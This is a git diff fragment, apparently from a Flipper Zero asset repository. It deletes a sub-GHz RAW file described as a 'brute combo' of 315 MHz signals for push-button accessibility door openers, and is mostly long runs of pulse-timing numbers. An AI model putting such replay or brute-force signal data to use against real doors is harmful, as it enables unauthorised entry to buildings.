347 -92 375 -96 369 -96 337 -128 337 -126 123 -354 347 -132 331 -124 337 -128 121 -340 131 -368 91 -380 351 -102 141 -362 105 -336 127 -356 93 -370 129 -340 129 -340 347 -124 339 -128 121 -3710 131 -356 103 -394 105 -334 367 -108 337 -126 319 -126 369 -96 337 -128 125 -342 357 -140 335 -126 315 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -334 129 -358 93 -370 129 -340 129 -338 349 -124 339 -126 121 -3712 131 -358 103 -358 107 -370 329 -142 335 -128 329 -140 359 -106 343 -100 135 -352 353 -94 363 -106 337 -124 123 -356 137 -336 125 -356 351 -102 143 -362 105 -336 127 -358 93 -372 127 -340 129 -340 347 -124 341 -126 121 -3710 131 -354 103 -394 105 -334 367 -108 337 -128 319 -124 369 -98 337 -128 125 -374 325 -140 335 -126 315 -126 121 -372 101 -368 91 -384 351 -102 141 -362 105 -336 129 -356 93 -372 127 -340 129 -340 349 -122 341 -126 121 -3712 131 -358 103 -358 107 -370 329 -140 337 -128 327 -140 361 -106 343 -100 137 -352 353 -94 363 -104 339 -124 121 -356 139 -334 127 -354 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 123 -3704 131 -344 127 -340 129 -372 315 -124 341 -126 337 -128 337 -128 337 -126 123 -352 347 -132 331 -124 337 -128 121 -370 101 -366 93 -380 351 -102 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 341 -126 123 -3716 99 -392 103 -358 105 -370 327 -140 337 -126 329 -140 361 -106 341 -102 135 -348 341 -128 337 -128 337 -126 95 -356 127 -370 97 -372 347 -92 125 -364 139 -336 127 -368 103 -360 103 -382 105 -336 355 -140 333 -96 125 -3710 129 -346 127 -372 97 -372 315 -122 353 -140 359 -108 337 -94 357 -140 107 -342 353 -140 333 -94 347 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -334 129 -356 93 -372 -RAW_Data: 129 -338 129 -340 347 -124 339 -128 121 -3710 131 -354 103 -394 105 -334 369 -106 337 -128 329 -140 361 -106 343 -102 135 -352 357 -106 347 -102 363 -94 121 -372 103 -368 125 -364 331 -132 103 -358 107 -370 91 -396 101 -360 103 -384 105 -336 353 -140 333 -94 127 -3734 99 -380 103 -360 105 -370 345 -106 339 -130 355 -94 369 -96 369 -96 127 -370 327 -142 335 -126 317 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -370 317 -122 341 -126 121 -3710 131 -356 103 -394 105 -334 367 -108 337 -128 317 -126 369 -96 337 -128 127 -372 325 -142 333 -128 315 -126 121 -372 101 -368 93 -382 351 -102 141 -364 103 -336 129 -358 91 -372 129 -338 129 -340 347 -124 339 -126 121 -3712 131 -358 103 -358 141 -334 365 -108 337 -126 319 -126 369 -96 337 -128 127 -342 357 -140 333 -96 347 -126 121 -372 101 -368 93 -380 351 -104 141 -362 105 -336 127 -372 105 -360 103 -382 105 -336 355 -140 333 -94 125 -3738 99 -380 103 -360 103 -370 347 -106 337 -130 323 -124 369 -98 337 -128 127 -370 327 -140 335 -126 317 -126 121 -372 101 -368 91 -384 351 -102 141 -362 105 -336 129 -356 93 -372 127 -340 129 -340 347 -124 341 -126 121 -3708 131 -354 103 -394 105 -336 367 -108 337 -128 319 -124 369 -98 337 -128 125 -374 325 -140 335 -126 315 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 121 -3704 131 -344 129 -338 129 -340 347 -122 343 -126 337 -130 337 -128 337 -126 123 -352 349 -132 331 -124 337 -128 91 -402 101 -364 93 -380 319 -134 105 -398 105 -334 127 -358 93 -372 127 -340 129 -372 317 -124 339 -128 121 -3704 133 -354 103 -394 105 -336 367 -106 337 -128 319 -124 369 -96 339 -128 125 -372 325 -140 335 -128 317 -124 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 127 -372 105 -360 103 -382 105 -336 355 -140 333 -94 125 -3734 99 -378 103 -360 105 -370 347 -108 339 -130 323 -124 369 -98 337 -128 127 -372 325 -140 335 -126 317 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 127 -358 95 -370 129 -340 129 -340 347 -124 339 -128 121 -3706 131 -354 101 -396 105 -334 369 -106 339 -128 331 -140 361 -106 341 -102 133 -352 355 -106 347 -138 329 -124 91 -374 101 -370 91 -398 331 -132 103 -358 105 -370 93 -384 93 -372 97 -372 129 -340 347 -124 339 -126 123 -3702 131 -344 -RAW_Data: 127 -340 129 -338 349 -122 339 -128 337 -128 339 -126 337 -126 123 -350 347 -132 333 -122 337 -128 121 -340 131 -368 91 -380 349 -102 141 -364 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3704 133 -352 135 -360 105 -336 373 -106 339 -128 351 -94 369 -96 339 -128 125 -342 355 -140 335 -94 349 -126 121 -372 101 -368 93 -382 349 -104 141 -364 103 -336 129 -372 103 -362 103 -382 105 -336 353 -140 333 -94 127 -3710 131 -344 127 -340 129 -372 315 -124 351 -140 361 -106 337 -96 355 -140 107 -342 353 -140 333 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 123 -3702 131 -346 127 -338 131 -370 315 -124 341 -128 369 -96 337 -128 337 -126 125 -350 347 -132 333 -122 337 -128 121 -340 133 -366 91 -380 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3710 129 -356 103 -394 105 -334 369 -106 339 -128 319 -126 369 -96 337 -128 127 -342 357 -140 333 -96 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -374 103 -360 103 -382 105 -336 353 -140 333 -94 127 -3708 131 -352 135 -360 105 -338 373 -108 337 -130 331 -140 361 -106 341 -102 137 -352 357 -106 345 -102 365 -92 121 -372 103 -368 125 -366 331 -132 103 -358 107 -370 91 -394 103 -360 103 -384 105 -336 353 -140 335 -92 127 -3736 97 -348 127 -372 95 -372 347 -92 377 -94 369 -98 337 -128 337 -126 123 -354 347 -132 331 -124 337 -128 121 -338 133 -366 91 -380 351 -102 141 -362 105 -336 129 -356 93 -372 129 -338 129 -340 347 -124 339 -128 121 -3712 131 -358 103 -358 141 -334 365 -106 337 -128 329 -140 361 -104 343 -102 135 -354 357 -106 345 -102 363 -92 121 -374 103 -368 125 -366 331 -132 103 -358 107 -368 93 -394 103 -360 103 -384 105 -336 353 -140 333 -94 127 -3736 99 -380 103 -360 103 -370 347 -106 339 -130 353 -94 369 -98 369 -96 125 -372 327 -140 335 -126 317 -126 121 -372 101 -366 93 -384 349 -104 141 -362 105 -336 129 -356 93 -372 127 -340 129 -372 315 -122 341 -126 123 -3714 131 -358 103 -358 107 -368 329 -142 337 -126 329 -140 361 -106 341 -102 137 -352 357 -106 345 -102 363 -94 119 -374 103 -368 125 -366 331 -132 103 -358 107 -370 93 -392 103 -362 103 -382 105 -336 353 -140 335 -94 125 -3736 99 -348 125 -372 97 -372 347 -92 375 -94 371 -96 337 -128 -RAW_Data: 337 -126 125 -352 347 -132 333 -122 337 -128 121 -340 131 -366 93 -380 349 -104 141 -362 105 -336 127 -372 105 -360 103 -384 103 -336 353 -140 335 -94 125 -3742 99 -352 135 -360 105 -338 373 -106 337 -128 353 -92 371 -96 369 -96 127 -370 327 -140 335 -126 317 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 129 -356 93 -372 129 -338 129 -340 347 -122 343 -126 121 -3704 133 -350 137 -360 105 -336 373 -106 339 -128 351 -94 369 -96 339 -128 125 -372 325 -140 335 -126 317 -126 121 -372 101 -368 91 -384 351 -102 141 -362 105 -336 129 -356 93 -372 129 -338 129 -340 347 -122 343 -126 121 -3708 131 -356 101 -396 105 -334 369 -106 337 -130 319 -126 369 -96 337 -128 127 -340 357 -140 335 -94 349 -124 121 -372 101 -368 93 -382 351 -104 141 -362 105 -334 129 -358 93 -370 129 -338 129 -340 347 -124 341 -126 121 -3704 131 -344 127 -372 97 -372 315 -124 373 -94 369 -98 337 -128 337 -126 125 -352 347 -132 331 -122 337 -128 121 -372 101 -366 91 -380 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -128 121 -3708 129 -354 103 -394 105 -336 369 -108 337 -128 319 -126 369 -96 339 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -382 349 -104 141 -362 105 -336 127 -372 105 -360 103 -384 103 -336 355 -140 333 -94 125 -3738 99 -382 103 -360 105 -368 345 -106 337 -130 323 -126 369 -96 337 -130 125 -372 327 -138 335 -126 319 -126 121 -372 101 -368 91 -384 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -372 315 -124 341 -128 121 -3712 131 -360 103 -358 105 -370 327 -142 335 -128 327 -140 361 -106 341 -102 135 -354 353 -94 363 -104 337 -124 123 -354 139 -334 127 -354 351 -102 143 -362 105 -336 129 -358 93 -370 129 -340 129 -338 349 -122 341 -126 123 -3716 131 -340 127 -340 129 -340 347 -122 359 -104 359 -108 337 -126 353 -140 107 -360 329 -126 349 -94 391 -104 103 -352 127 -340 129 -338 349 -122 123 -356 139 -336 125 -356 95 -370 129 -340 129 -340 347 -124 339 -126 121 -3706 131 -352 103 -394 105 -336 371 -106 337 -128 321 -124 371 -96 337 -128 127 -342 355 -140 335 -126 315 -126 123 -372 101 -366 93 -382 351 -102 141 -362 105 -336 127 -374 103 -360 103 -382 105 -336 355 -140 333 -96 125 -3744 97 -352 135 -360 105 -336 373 -108 337 -128 351 -94 369 -96 369 -96 127 -370 diff --git a/assets/resources/subghz/Handicap/ook650_315brute.sub b/assets/resources/subghz/Handicap/ook650_315brute.sub deleted file mode 100644 index 3598e9e86..000000000 --- a/assets/resources/subghz/Handicap/ook650_315brute.sub +++ /dev/null @@ -1,16 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# brute combo of button 1650 and push door subs by FalsePhilosopher, will add more as they appear. -Frequency: 315000000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 13125 -3928 231 -1198 131 -1456 65 -230 265 -464 429 -98 295 -100 295 -164 97 -100 855 -98 655 -164 5259 -5836 97 -66 163 -198 99 -262 163 -132 165 -466 197 -692 97 -132 131 -166 97 -234 131 -266 12941 -3744 527 -132 195 -98 1251 -134 663 -166 331 -200 231 -300 99 -66 365 -198 263 -196 97 -166 329 -132 131 -196 827 -164 10281 -7850 165 -164 99 -134 65 -134 97 -232 231 -166 199 -198 99 -2352 497 -66 197 -66 333 -66 1749 -66 3919 -7640 65 -690 99 -3264 65 -100 163 -328 65 -66 99 -198 1721 -198 263 -132 14257 -198 97 -368 97 -66 99 -2058 97 -396 163 -100 827 -66 921 -66 295 -98 261 -98 557 -100 11337 -7658 133 -166 197 -864 131 -164 229 -730 793 -166 1059 -132 9799 -4050 65 -460 65 -64 229 -1158 265 -1060 99 -364 97 -1192 295 -232 265 -528 99 -200 65 -1426 297 -66 565 -98 2613 -68 8873 -3704 165 -232 329 -232 65 -432 465 -100 233 -232 365 -198 263 -532 363 -132 99 -266 131 -66 67 -164 627 -630 99 -100 99 -166 165 -234 195 -202 4181 -66 11711 -234 97 -1184 229 -696 1057 -66 793 -68 5559 -464 165 -698 163 -66 329 -134 565 -166 97 -100 733 -166 1023 -132 2749 -448 395 -476 775 -476 781 -854 803 -874 373 -452 809 -416 841 -854 419 -412 427 -410 835 -838 843 -412 797 -900 405 -1680 413 -426 395 -864 413 -816 855 -804 873 -380 451 -828 419 -838 837 -382 441 -386 443 -830 873 -806 447 -770 939 -378 1687 -380 453 -380 893 -372 883 -778 897 -776 449 -388 877 -378 865 -802 443 -382 443 -400 873 -782 895 -378 873 -826 477 -1610 475 -380 451 -782 459 -816 851 -784 889 -376 453 -808 445 -814 867 -380 449 -378 449 -810 877 -788 441 -812 911 -370 1709 -386 433 -398 881 -352 899 -786 879 -790 441 -390 869 -380 895 -776 449 -386 441 -388 871 -810 859 -410 847 -848 443 -1634 475 -354 477 -784 469 -780 881 -816 865 -378 419 -840 445 -798 867 -380 449 -378 453 -792 873 -816 439 -820 913 -378 1703 -372 453 -378 883 -360 875 -816 857 -802 447 -386 871 -380 863 -806 447 -388 445 -392 861 -814 847 -388 887 -842 437 -1646 425 -382 471 -780 455 -806 877 -792 867 -382 449 -814 445 -800 869 -380 451 -380 463 -812 851 -816 461 -790 911 -372 1711 -392 443 -376 875 -362 889 -814 857 -804 441 -386 869 -376 869 -802 445 -384 475 -370 879 -780 885 -374 885 -814 473 -1634 437 -390 441 -814 463 -780 881 -784 891 -378 449 -774 479 -796 871 -382 457 -380 435 -826 847 -820 437 -816 881 -378 1707 -398 -RAW_Data: 455 -378 847 -390 871 -812 855 -808 447 -388 881 -372 891 -776 479 -356 471 -354 881 -812 877 -356 871 -848 473 -1616 461 -362 471 -784 457 -812 851 -810 891 -342 451 -810 483 -758 897 -380 447 -380 457 -782 879 -818 451 -778 913 -386 1705 -392 441 -386 869 -378 865 -804 869 -808 419 -438 805 -458 791 -878 389 -440 401 -428 833 -808 865 -386 863 -838 447 -1626 477 -364 479 -766 447 -818 867 -806 873 -376 435 -824 449 -808 863 -392 439 -386 443 -786 895 -808 411 -816 927 -376 1739 -342 453 -378 891 -368 883 -750 927 -768 479 -354 899 -342 907 -772 475 -354 479 -362 881 -788 913 -332 913 -818 463 -1614 455 -366 497 -780 449 -780 931 -754 879 -362 477 -774 473 -778 887 -372 485 -344 487 -780 891 -746 483 -774 975 -340 1739 -366 457 -342 915 -360 891 -784 885 -768 479 -354 911 -342 883 -772 509 -350 473 -354 891 -782 885 -370 883 -814 479 -1606 469 -388 477 -778 465 -786 877 -792 869 -380 449 -772 499 -792 879 -378 451 -340 487 -774 913 -762 475 -778 915 -380 1737 -340 483 -344 911 -366 879 -780 893 -776 477 -356 881 -376 899 -770 481 -352 473 -356 877 -780 913 -356 905 -780 505 -1582 493 -352 473 -780 493 -774 905 -752 897 -378 449 -780 477 -766 899 -382 449 -378 455 -812 849 -810 465 -780 915 -364 1713 -390 443 -404 879 -358 871 -814 857 -804 445 -386 869 -378 867 -806 443 -384 471 -358 903 -782 857 -374 873 -852 443 -1636 475 -354 471 -782 463 -778 883 -784 895 -380 449 -782 481 -794 871 -380 447 -382 459 -784 891 -782 451 -802 935 -356 1709 -384 441 -396 881 -354 871 -814 883 -768 479 -354 907 -372 855 -808 445 -386 475 -354 881 -788 881 -362 907 -816 473 -1612 465 -378 445 -806 453 -794 883 -780 895 -378 449 -780 473 -788 871 -378 447 -378 457 -816 883 -784 453 -798 887 -390 1711 -384 445 -390 861 -358 901 -774 881 -780 491 -374 879 -360 875 -778 493 -376 447 -358 901 -778 879 -378 905 -804 477 -1618 441 -388 443 -802 475 -780 893 -772 903 -350 461 -808 449 -776 905 -358 459 -370 453 -812 883 -780 459 -800 943 -342 1727 -346 479 -382 865 -382 873 -794 873 -778 475 -384 871 -354 903 -794 453 -378 449 -378 893 -776 875 -380 879 -832 443 -1634 479 -356 473 -784 471 -780 883 -800 843 -380 447 -818 463 -792 875 -380 451 -366 459 -808 881 -770 477 -776 951 -348 1711 -376 451 -378 877 -400 849 -810 891 -770 481 -354 901 -362 863 -808 445 -362 459 -408 879 -784 869 -380 879 -822 449 -1642 -RAW_Data: 473 -354 477 -780 465 -788 881 -790 869 -380 449 -782 477 -802 873 -380 451 -378 471 -780 881 -784 461 -774 947 -374 1703 -374 453 -376 883 -360 889 -780 883 -804 443 -386 879 -380 865 -804 445 -378 451 -388 879 -802 851 -386 879 -830 447 -1634 449 -378 485 -778 455 -776 913 -766 889 -386 443 -794 477 -784 879 -370 457 -374 453 -802 859 -814 449 -806 893 -384 1731 -354 479 -354 897 -350 903 -778 881 -796 455 -378 879 -358 911 -750 481 -382 437 -376 909 -774 881 -378 863 -804 475 -1638 481 -354 473 -782 473 -782 883 -796 839 -382 487 -780 465 -798 875 -344 483 -368 455 -810 883 -764 477 -778 919 -380 1705 -374 457 -378 883 -362 907 -782 861 -806 479 -354 879 -376 867 -806 479 -322 477 -390 869 -776 921 -344 883 -818 479 -1610 469 -360 501 -782 459 -776 875 -796 905 -346 453 -812 437 -794 903 -346 479 -350 465 -810 879 -796 443 -810 889 -378 1705 -376 485 -348 885 -362 913 -782 879 -768 477 -354 903 -378 863 -804 445 -384 441 -384 881 -788 877 -364 881 -846 457 -1636 445 -378 455 -792 453 -804 871 -808 881 -370 453 -806 447 -790 893 -376 449 -378 453 -796 871 -784 465 -808 913 -378 1697 -374 451 -376 913 -366 881 -752 879 -798 477 -354 903 -370 885 -776 479 -356 479 -360 883 -784 875 -396 847 -848 427 -1644 449 -382 461 -792 451 -810 879 -796 879 -354 473 -780 469 -780 877 -388 469 -366 457 -774 911 -768 459 -804 903 -400 1717 -346 463 -378 869 -376 877 -784 899 -774 479 -354 899 -360 869 -816 441 -386 445 -406 851 -780 893 -376 883 -846 445 -1636 437 -390 471 -784 459 -776 911 -764 903 -346 487 -776 477 -770 877 -382 459 -370 461 -786 877 -792 475 -780 911 -370 1707 -400 425 -406 849 -390 891 -780 883 -768 477 -386 845 -414 861 -804 443 -382 441 -386 891 -784 885 -368 879 -816 469 -1618 455 -382 471 -780 453 -810 879 -792 903 -348 451 -806 445 -800 873 -380 451 -376 487 -756 881 -814 439 -812 911 -374 1707 -362 477 -378 877 -360 871 -810 861 -806 443 -386 879 -376 865 -806 479 -352 471 -356 907 -780 857 -374 879 -850 471 -1608 465 -352 503 -748 493 -784 877 -792 869 -376 479 -778 453 -804 863 -384 471 -354 473 -780 895 -772 477 -11734 197 -98 197 -330 821 -398 1257 -134 693 -96 593 -200 163 -100 1093 -100 1095 -166 593 -166 1989 -198 8605 -1138 329 -132 563 -100 131 -664 99 -100 497 -564 727 -696 929 -132 99 -100 889 -366 4399 -12880 723 -464 331 -166 627 -166 959 -98 729 -166 197 -364 -RAW_Data: 501 -2022 133 -762 97 -366 133 -298 1121 -66 97 -98 395 -626 131 -164 261 -330 3507 -66 2303 -132 391 -298 15687 -896 427 -332 393 -332 463 -300 3709 -300 1193 -100 2521 -100 2447 -66 11843 -336 365 -68 297 -432 65 -68 693 -198 2651 -66 823 -100 261 -98 10083 -1312 97 -2306 263 -526 1689 -134 329 -330 16953 -564 65 -200 333 -864 363 -764 565 -560 1059 -166 559 -324 529 -562 623 -662 527 -232 3255 -68 99 -4874 295 -894 493 -666 987 -230 465 -100 131 -202 165 -132 625 -68 961 -164 161 -98 10249 -3754 363 -594 625 -890 361 -528 231 -432 427 -368 929 -298 827 -98 755 -166 233 -166 757 -66 627 -66 8603 -3738 331 -428 495 -498 631 -494 1159 -66 97 -132 959 -130 97 -166 959 -66 2771 -66 1391 -66 7053 -3928 197 -760 397 -1162 497 -232 527 -398 695 -98 429 -494 65 -198 851 -296 557 -298 9963 -1926 65 -1026 65 -830 563 -464 363 -1658 231 -896 595 -164 1327 -198 101 -496 397 -164 133 -66 101 -66 6965 -1650 133 -6350 97 -432 797 -564 857 -100 65 -364 497 -132 663 -132 665 -166 959 -232 987 -364 465 -426 3015 -66 7615 -758 329 -460 97 -232 455 -430 1647 -100 1189 -100 865 -830 923 -198 897 -334 823 -394 11369 -RAW_Data: 1193 -330 131 -32700 195 -244 1749 -830 413 -418 837 -418 825 -442 387 -446 843 -398 849 -842 831 -412 847 -418 411 -410 843 -420 837 -416 409 -900 411 -1672 817 -452 387 -854 395 -864 415 -412 409 -854 413 -844 817 -838 415 -844 427 -428 407 -842 423 -822 411 -450 847 -412 1669 -834 415 -418 837 -442 835 -418 385 -450 821 -440 813 -846 831 -450 809 -424 395 -436 843 -420 837 -414 409 -900 411 -1672 849 -416 415 -818 425 -838 419 -418 417 -828 441 -814 843 -832 415 -842 427 -396 437 -842 423 -818 423 -408 875 -440 1671 -830 411 -418 843 -418 821 -440 387 -446 811 -430 849 -844 825 -416 845 -418 411 -408 843 -422 837 -414 409 -902 409 -1670 849 -420 389 -856 395 -866 417 -418 411 -850 413 -812 843 -838 415 -844 427 -398 435 -846 387 -850 425 -406 875 -438 1669 -830 413 -416 843 -418 825 -440 387 -444 813 -430 853 -810 857 -414 843 -416 411 -410 841 -422 835 -416 409 -902 409 -1674 817 -452 387 -854 395 -862 419 -416 409 -832 417 -846 821 -842 415 -846 427 -416 411 -848 415 -852 413 -408 853 -418 1693 -844 397 -426 837 -418 817 -432 423 -408 845 -424 823 -844 851 -412 811 -450 379 -440 843 -424 825 -418 411 -910 383 -1670 841 -450 383 -848 417 -862 411 -388 445 -846 399 -852 807 -858 413 -846 385 -450 407 -852 381 -850 449 -404 855 -416 1679 -844 425 -414 839 -410 839 -422 415 -408 853 -414 817 -850 855 -412 819 -450 401 -398 833 -450 811 -426 411 -908 399 -1684 839 -416 407 -852 379 -848 437 -428 387 -872 381 -842 837 -844 419 -846 401 -424 407 -844 425 -836 415 -410 865 -452 1643 -846 417 -418 851 -414 839 -412 417 -414 847 -402 849 -846 829 -414 845 -420 415 -408 817 -448 819 -450 399 -886 387 -1678 841 -428 411 -840 417 -848 399 -424 441 -842 395 -838 847 -830 413 -844 419 -410 409 -846 423 -838 413 -410 867 -418 1675 -844 419 -418 837 -424 837 -418 415 -420 821 -442 813 -844 835 -450 809 -422 411 -442 809 -426 819 -422 443 -878 413 -1672 829 -416 415 -848 417 -856 409 -418 415 -844 399 -850 843 -824 413 -846 389 -448 409 -852 413 -852 417 -404 853 -416 1695 -816 439 -418 843 -418 819 -436 387 -444 807 -428 837 -846 829 -416 841 -424 411 -442 809 -422 837 -414 409 -902 419 -1684 811 -452 385 -854 395 -866 417 -418 409 -848 411 -844 815 -838 417 -844 423 -428 407 -844 389 -852 423 -442 839 -442 1667 -834 415 -418 843 -416 829 -440 377 -448 833 -426 819 -844 819 -444 813 -416 435 -432 -RAW_Data: 811 -418 861 -420 413 -878 413 -1670 833 -448 385 -838 451 -796 443 -410 415 -842 433 -804 845 -836 419 -844 423 -400 437 -812 417 -856 423 -410 875 -440 1673 -828 413 -418 845 -422 821 -404 421 -444 811 -430 849 -842 825 -414 843 -420 409 -410 843 -424 817 -412 443 -880 419 -1670 841 -420 415 -822 407 -852 415 -416 417 -846 403 -846 843 -836 415 -842 423 -410 411 -842 423 -834 413 -408 903 -388 1703 -818 419 -418 837 -426 839 -422 381 -446 847 -412 811 -846 837 -418 841 -426 395 -436 841 -418 837 -412 419 -890 421 -1668 843 -422 381 -840 437 -824 451 -382 451 -816 403 -850 845 -834 411 -838 425 -398 437 -844 419 -820 425 -408 877 -400 1709 -826 415 -418 849 -388 851 -402 423 -410 843 -428 853 -808 857 -416 843 -422 399 -432 811 -416 867 -380 437 -898 407 -1654 867 -388 445 -808 427 -836 413 -442 409 -844 419 -820 847 -842 399 -848 413 -408 441 -842 419 -820 423 -410 873 -404 1701 -828 415 -416 851 -420 821 -406 421 -412 843 -428 851 -806 857 -416 843 -416 409 -412 841 -420 835 -414 439 -872 419 -1644 847 -422 419 -856 399 -830 453 -382 445 -812 441 -814 845 -832 415 -844 427 -396 437 -844 421 -820 423 -408 873 -438 1671 -832 413 -418 843 -420 823 -440 387 -446 809 -430 821 -840 857 -414 843 -418 409 -410 843 -424 819 -424 443 -874 413 -1674 827 -416 415 -848 413 -846 413 -418 417 -814 429 -854 841 -826 413 -844 423 -416 409 -850 411 -838 409 -410 875 -438 1673 -828 413 -418 849 -420 817 -404 421 -444 843 -394 835 -844 831 -416 845 -420 409 -412 843 -422 835 -416 409 -884 419 -1674 847 -420 415 -822 437 -824 415 -416 413 -842 439 -812 843 -836 417 -842 423 -410 445 -808 425 -836 413 -420 859 -418 1697 -810 453 -382 875 -418 833 -408 411 -416 841 -402 835 -844 837 -416 835 -430 425 -408 843 -422 825 -416 417 -880 417 -1670 837 -418 415 -850 419 -824 443 -388 447 -810 429 -854 841 -828 413 -844 421 -418 407 -820 443 -822 419 -400 897 -386 1689 -854 413 -416 849 -420 817 -404 421 -446 839 -394 835 -842 835 -418 841 -426 395 -436 841 -418 833 -412 407 -900 421 -1644 845 -422 417 -834 409 -854 407 -420 441 -810 419 -848 833 -848 419 -844 399 -428 407 -842 423 -822 415 -418 881 -416 1667 -838 451 -384 843 -418 827 -442 387 -446 845 -398 851 -810 855 -414 843 -418 409 -410 843 -424 821 -416 449 -852 417 -1670 841 -452 381 -850 417 -826 445 -386 447 -810 427 -836 841 -836 415 -844 425 -416 -RAW_Data: 411 -852 411 -822 437 -396 883 -424 1683 -812 439 -388 839 -420 849 -404 423 -410 843 -430 819 -838 857 -412 845 -418 409 -410 839 -422 835 -414 409 -884 419 -1672 847 -420 417 -820 453 -830 411 -418 417 -814 429 -852 839 -828 415 -844 423 -416 407 -852 411 -846 399 -432 845 -426 1691 -828 415 -416 843 -420 825 -404 421 -446 811 -430 819 -842 855 -416 845 -418 417 -406 853 -380 875 -416 405 -886 417 -1664 849 -414 415 -814 453 -816 439 -390 443 -808 427 -852 837 -828 413 -844 425 -416 409 -820 445 -810 439 -410 877 -402 1677 -856 411 -418 845 -414 843 -410 387 -450 841 -398 849 -840 827 -414 841 -422 409 -412 841 -424 835 -414 439 -870 411 -1674 843 -412 417 -836 411 -834 411 -446 413 -834 417 -848 839 -820 425 -838 419 -386 443 -848 413 -844 413 -410 871 -420 1677 -818 421 -418 835 -422 837 -422 415 -408 867 -386 843 -850 841 -420 809 -428 409 -446 807 -428 837 -414 439 -854 419 -1676 845 -420 417 -822 437 -822 415 -412 445 -812 441 -836 817 -842 415 -836 429 -396 439 -844 421 -820 423 -410 877 -406 1675 -860 413 -386 877 -422 817 -402 421 -446 839 -396 851 -808 861 -414 845 -420 397 -434 843 -384 865 -412 407 -900 407 -1692 835 -410 445 -808 421 -834 413 -410 441 -844 423 -820 851 -806 427 -836 415 -416 437 -822 413 -840 451 -32700 655 -558 663 -576 457 -100 659 -894 305 -496 323 -466 327 -460 753 -476 741 -438 359 -1690 345 -852 355 -846 771 -812 379 -816 385 -806 413 -786 813 -426 381 -400 411 -408 367 -816 403 -788 413 -406 1635 -392 815 -408 811 -792 793 -404 791 -412 805 -400 823 -788 389 -372 423 -408 387 -410 815 -384 807 -382 417 -1630 413 -790 425 -784 829 -752 441 -778 425 -772 411 -806 811 -376 423 -372 421 -374 423 -806 411 -774 443 -378 1637 -406 823 -360 833 -772 835 -374 807 -386 837 -380 807 -776 421 -416 393 -380 411 -410 815 -364 821 -384 437 -1614 417 -786 411 -784 827 -794 403 -784 421 -768 441 -772 839 -352 441 -362 431 -394 397 -794 439 -750 449 -366 1647 -388 841 -382 813 -778 811 -392 801 -382 835 -378 817 -782 417 -380 421 -382 417 -414 815 -358 835 -384 421 -1632 393 -796 439 -754 827 -786 403 -784 433 -784 413 -794 821 -362 443 -370 425 -372 423 -768 443 -746 455 -380 1667 -362 853 -378 789 -786 827 -400 821 -360 831 -376 817 -782 415 -380 419 -382 415 -384 849 -354 849 -350 451 -1612 407 -782 431 -784 833 -752 441 -780 427 -762 411 -800 833 -374 427 -368 -RAW_Data: 423 -372 423 -802 411 -784 395 -396 1679 -352 815 -412 815 -786 819 -364 817 -408 813 -364 825 -782 433 -390 411 -372 419 -406 813 -352 845 -382 417 -1610 453 -752 417 -806 789 -784 423 -802 411 -780 413 -782 839 -382 419 -378 419 -378 419 -772 449 -748 449 -380 1641 -406 815 -366 817 -802 799 -370 859 -358 835 -376 817 -784 415 -380 413 -412 411 -380 809 -390 799 -416 431 -1612 411 -768 431 -792 817 -776 417 -772 447 -748 447 -784 807 -382 419 -380 415 -380 419 -806 411 -778 431 -378 1655 -376 813 -384 835 -780 807 -412 783 -414 807 -398 825 -752 423 -372 423 -408 385 -408 807 -386 835 -384 421 -1598 445 -764 443 -754 845 -778 417 -782 415 -786 417 -776 837 -384 387 -414 387 -414 417 -784 417 -780 417 -380 1667 -374 817 -382 807 -808 807 -376 849 -354 839 -382 815 -780 415 -382 421 -382 413 -382 819 -388 803 -382 435 -1638 419 -778 393 -800 803 -802 439 -754 419 -806 409 -778 813 -386 415 -388 413 -386 415 -784 419 -784 417 -390 1663 -366 825 -404 821 -784 807 -384 805 -416 815 -354 835 -788 415 -358 443 -386 413 -388 807 -382 815 -386 441 -1610 437 -752 413 -804 807 -806 411 -786 417 -776 449 -750 811 -386 449 -356 441 -360 413 -796 439 -748 443 -372 1673 -356 835 -380 833 -762 827 -368 823 -394 829 -374 819 -782 419 -380 415 -416 383 -382 815 -388 837 -384 421 -1610 435 -788 399 -784 813 -784 447 -754 419 -800 413 -792 819 -362 413 -398 423 -372 423 -804 413 -784 419 -376 1673 -362 831 -366 821 -802 797 -406 821 -360 833 -376 813 -780 415 -410 413 -380 417 -378 811 -390 815 -374 451 -1608 425 -770 443 -750 825 -788 423 -804 409 -772 413 -810 805 -378 413 -414 381 -410 413 -770 411 -788 433 -396 1649 -380 807 -384 835 -774 807 -404 817 -364 827 -394 825 -768 439 -350 435 -382 441 -352 837 -380 805 -388 441 -1620 411 -784 397 -796 839 -768 435 -774 413 -776 445 -746 845 -386 409 -396 397 -398 395 -796 409 -782 449 -368 1653 -388 803 -416 815 -780 815 -388 801 -406 813 -362 821 -804 411 -380 419 -380 419 -378 841 -352 833 -378 427 -1618 417 -782 447 -782 813 -786 391 -800 405 -786 433 -782 831 -378 399 -414 393 -380 417 -782 411 -818 399 -414 1631 -376 817 -388 837 -776 811 -412 783 -388 837 -382 813 -778 415 -378 415 -406 385 -414 827 -372 821 -358 471 -1572 457 -764 435 -750 831 -796 405 -784 435 -752 431 -786 829 -378 439 -380 395 -378 413 -784 449 -754 423 -414 1657 -372 817 -366 -RAW_Data: 851 -770 833 -370 839 -352 835 -380 813 -782 417 -382 421 -380 415 -378 845 -362 823 